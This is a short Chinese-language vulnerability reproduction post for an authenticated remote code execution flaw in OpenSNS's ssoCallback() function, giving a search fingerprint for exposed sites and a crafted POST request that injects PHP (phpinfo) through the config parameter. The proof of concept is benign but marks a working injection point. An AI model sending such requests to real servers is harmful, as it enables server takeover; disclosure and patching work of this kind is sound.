OpenSNS AuthorizeController.class.php 后台远程命令执行漏洞

漏洞描述

OpenSNS AuthorizeController.class.php文件 ssoCallback() 函数存在命令执行漏洞,在登录的情况下可以获取服务器权限。

漏洞影响

OpenSNS

网络测绘

icon_hash=”1167011145″

漏洞复现

登录页面如下

20231031173940234-05224538-b6e5-4e9f-a15c-0a820dacc9a5 (1)

存在漏洞的文件为 Application/Admin/Controller/AuthorizeController.class.php

20231031174758414-ef20bdee-eab9-4e8e-87cf-457c8c2527a5 (1)

其中 config参数可控,构造请求就可以通过 file_put_contents 写入执行任意命令

20231031174917808-5fda647b-c023-4a41-962d-838861643f18 (1)

构造请求包

POST /admin.php?s=/Authorize/ssoCallback\

config[SSO_CONFIG]=phpinfo();

20231031175135771-d38019fe-548c-4876-b9c3-32a1917fc4a3 (1)

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容